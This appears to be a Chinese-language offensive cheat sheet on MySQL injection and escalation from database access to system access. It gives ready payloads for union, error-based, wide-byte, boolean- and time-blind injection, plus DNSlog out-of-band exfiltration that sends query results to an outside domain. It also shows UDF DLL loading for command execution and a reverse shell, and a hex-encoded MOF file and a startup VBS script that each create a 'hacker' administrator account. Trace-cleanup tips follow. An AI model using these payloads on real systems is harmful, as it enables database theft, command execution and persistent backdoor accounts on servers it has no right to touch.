Web安全-Mysql注入
MYSQL注入
Sql 注入介绍
sql注入就是指Web应用程序在对用户输入的数据未进行合法性的判断,并且前端传入后端的参数是攻击者可控的,并且参数可以带入数据库进行执行。攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
Mysql介绍
MySQL 是一款安全、跨平台、高效的,并与 PHP、Java 等主流编程语言紧密结合的数据库系统。该数据库系统是由瑞典的 MySQL AB 公司开发、发布并支持,由 MySQL 的初始开发人员 David Axmark 和 Michael Monty Widenius 于 1995 年建立的。目前 MySQL 被广泛地应用在 Internet 上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,使得很多公司都采用 MySQL 数据库以降低成本。MySQL 数据库可以称得上是目前运行速度最快的 SQL 语言数据库之一。除了具有许多其他数据库所不具备的功能外,MySQL 数据库还是一种完全免费的产品,用户可以直接通过网络下载 MySQL 数据库,而不必支付任何费用。
MySQL 基础知识
- 字符串截取函数
1 | left(str,index) //从左边第index开始截取 |
- 字符串比较
1 | strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1 |
- 字符串连接函数
1 | concat(str1,str2) //将字符串首尾相连 |
- 一些绕过注入的罕见函数
1 | instr(str1,substr) //从子字符串中返回子串第一次出现的位置 |
运算符
- 算术运算符:
+ - * /
- 比较运算符:
= <> != > <
1
2
3
4(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
(2)in //select '123' in ('12') => 0
(3)like(模糊匹配) //select '12345' like '12%' => true
(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true - 逻辑运算符:
1
2
3
4not或! 非
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^ - 位运算符:
1
2
3
4
5
6& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移 - 注释符:
1
2
3# //单行注释符,url记得编码为%23
/**/
--+
- 算术运算符:
常用函数
- 延时函数:
1
2sleep()
benchmark(1000000,sha(1)) - 编码函数:
1
hex() ascii()
- 文件函数:
1
21.load_file //读取文件
2.outfile //写入文件
- 延时函数:
一些构造语句的知识
- 条件语句
1
2if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when (条件) then 代码1 else 代码 2 end - information_schema 结构
1
2
3
4
5information_schema.tables:
查询表名:table_name 对应的数据库名: table_schema
information_schema.columns:
查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式
查询结果 + 比较运算符 + 猜测值 - mysql 报错注入:构造报错语句 + 查询结果
- mysql 联合注入:构造联合语句 + 查询结果
- mysql 盲注:查询结果 + 比较运算符 + 猜测值
- mysql空白字符:
1
2
3
4%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释
# 这个也可以用来做分隔 挺有意思 - tips:
1
2
3
4
5
6
7
8
9
10函数名和括号直接可以插入特殊字符 ex
concat/**/()
information_schema/**/./**/TABLES
information_schema%0a.%0aTABLES
{identifier expr}
select {x 1} from {x test} limit 1;- 条件语句
联合查询
union是用于合并两个sql查询结果的语句,要使用union必须有相同的列数 、必须有两条以上的select语句组成、列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型。
联合查询注入的主要步骤为:
1.判断是否存在可疑的注入点(数字型或字符型)。
*数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。1
2
3
4
5
6
7
8
9方法一: 单引号法: '
方法二: 逻辑法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:运算法
-1
-02.猜解表名
1
2
3
4
5
6
7
8常见敏感表名
admin
user admin_userinfo
system
vipuser
a_admin
xxx_admin3.猜字段数:order by
4.猜解字段名
1
2
3
4
5
6敏感字段名:
username
password
admin_usernmae
admin_password5.获取数据
1
id = 1 union select 1,2,3,'''''
注
1 | 当mysql 版本小于4.0 的时候 ,是不支持 union seletc联合查询的 |
MYSQL报错注入
常见payload如下:
1 | 1.floor() |
宽字节注入
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入,例如说PHP的编码为 UTF-8而MySql的编码设置为了SET NAMES ‘gbk’ 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
这里要说明一小点的是:
SET NAMES ‘x’语句与这三个语句等价:
1 | mysql>SET character_set_client =x; |
也就是说你设置了 SET NAMES ‘x’ 时就等于同时执行了上面的3条语句
实际上宽字节注入就是PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
- 宽字节注入原理
- 原理可参考:https://xz.aliyun.com/t/1719
- 在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子:
1
2
3单引号(')= (\')
双引号(") = (\")
反斜杠(\) = (\\) - MYSQL client链接编码:假如这个网站有宽字节注入那么我们提交:这时,假如我们现在使用的是addslashes来过滤,那么就会发生如下的转换过程:
1
http://127.0.0.1/unicodeSqlTest?id=%df%27
前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字運,而单引号就逃逸了出来,从而造成了注入漏洞。1
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'
- MYSQL iconv函数 mb_convert_encoding函数:
借用先知: $id =iconv(‘GBK’,’UTF-8’, $id)
%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27
其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。 - Big5编码导致的宽字节注入:
1
2猜测代码: iconv('utf-8','BIG5',$_GET['id'])
payload构造同上: 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号%E8%B1%B9'
布尔盲注
代码存在SQL注入漏洞,但页面不会回显数据,也不会回显错误信息,只返回”Right”与”Wrong”,这里可以构造语句,来判断数据库语句的正确性,通过页面的“真”和“假”来识别我们的判断是否正确,“真”和“假”可以从返回页面,数据包长度,返回码等信息判断
方法 | 说明 |
---|---|
left()函数 | left(database(),1)>’s’ database()显示数据库名称,left(a,b)从左侧截取a的前b位 |
regexp | select user() regex ‘^r’ 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式 |
like | select user() like ‘ro%’ 与regexp相似,使用like进行匹配 |
substr()函数 ascii()函数 | ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的长度,ascii()将某个字符转换为ascii值 |
ord()函数 mid()函数 | ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转换为ascii值 |
时间盲注
代码存在sql注入漏洞,但页面即不会回显数据,也不会回显错误信息,语句执行也不提示真假,不能通过页面的内容来进行判断,这里可通过构造语句,通过页面响应的时长,来判断信息,即时间盲注。
语法:
1 | if(left(user(),1)='a',0,sleep(3)) #(user(),1)='a'处替换sql语句 |
DNSlog SQL盲注
在mysql中load_file 会带dns查询请求
具体可以参考 mysql带外攻击 out of band 安全客有这篇文章
首先查看变量确定权限
show variables like ‘%secure%’
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置
unc路径 网络共享文件方式 \xq17.com\tet这样的路径
用4个\是因为转义 本质是:
最好进行加密处理 防止特殊字符导致失败 如下
select load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
坑点:之前一直用bugscan的dnslog 用
select load_file(‘\\‘,version(),’.dnslog地址’) 发现一直收不到信息
注意一般分配给我们的是二级域名所以我们要有个点 把返回信息放在三级域名那里 后来用16进制加密之后就发现可以了 可能是传输的时候出现了@之类什么奇怪的字符 导致了传输失败
总结:
1.对数据能加密尽量加密
2.dns解析 能很好解决盲打盲注的不可知的缺陷
3.缺点是:限制比较多
参考:https://www.t00ls.net/thread-44273-1-1.html
工具:https://xz.aliyun.com/t/2359、https://github.com/ADOOO/DnslogSqlinj
sqlmap:https://www.cnblogs.com/backlion/p/8984121.html
其他利用:https://www.freebuf.com/column/184587.html
MYSQL 命令执行
UDF提权
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。
Secure_file_priv:secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。通过执行SHOW VARIABLES LIKE “secure_file_priv”;查看secure-file-priv的状态。
1、当secure_file_priv的值为null ,表示限制mysql不允许导入导出。
2、当secure_file_priv的值为/tmp/ ,表示限制mysql的导入导出只能发生在/tmp/目录下。
3、当secure_file_priv的值没有具体值时,表示不对mysql的导入导出做限制。
- UDF提权条件:
- mysql < 5.0,导出路径随意。
- 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)。
- mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 拥有可以将udf.dll写入相应目录的权限。
- 实战步骤:
- 查看 secure_file_priv 的值
1
show global variables like 'secure%';
- 查看系统架构以及plugin目录
1
2show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录 - Sqlmap目录下找到对应的dll文件:Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件。(脚本位置/usr/share/sqlmap/extra/cloak/) 执行python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_进行dll_文件的解码,获得dll文件。
- 通过查询语句将dll上传到目标服务器上。路径具体参考udf提权条件(这里演示5.0 <= mysql < 5.1)。执行语句select 0xcode into dumpfile ‘C:\Windows\System32\cooltige.dll’。(写入方法也有select unhex(十六进制)、select char(77,90,144…))。
- 将udf.dll 文件写入数据库:
- 1、远程加载:
1
2load_file() 函数支持远程加载,配合 dumpfile 实现写入lib 目录下一定要有 plugin 文件夹否则报错
select load_file('C:\Python27\sqlmap\data\udf\mysql\windows\64') into dumpfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; - 2、本地写入:
1
2
3
4create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
- 1、远程加载:
- 通过dll文件创建函数。CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’。
- 创建成功后就可以直接执行命令:select sys_eval(‘whoami’);
- 删除创建的函数DROP FUNCTION sys_eval;
- 查看 secure_file_priv 的值
- UDF提权条件:
反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些1
2
3
4
5
6
7
8
9
10cmdshell # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数
反弹端口提权udf链接:https://github.com/Geekby/langouster_udf
导入 dll 动态链接库(这里偷懒就忽略了),然后创建自定义函数:
1 | CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; |
MOF 提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。- 上传 mof 文件执行命令,mof 脚本的内容如下:
1 | #pragma namespace("\\\\.\\root\\subscription") |
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
1 | mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof"; |
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下
痕迹清理:因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
1 | # 停止 winmgmt 服务 |
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
启动项路径
Windows Server 2003 的启动项路径:
1
2
3
4
5
6
7
8
9
10
11中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\ShutdownWindows Server 2008 的启动项路径:
1
2C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:
1
2
3Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0MySQL 写入启动项
1
2mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。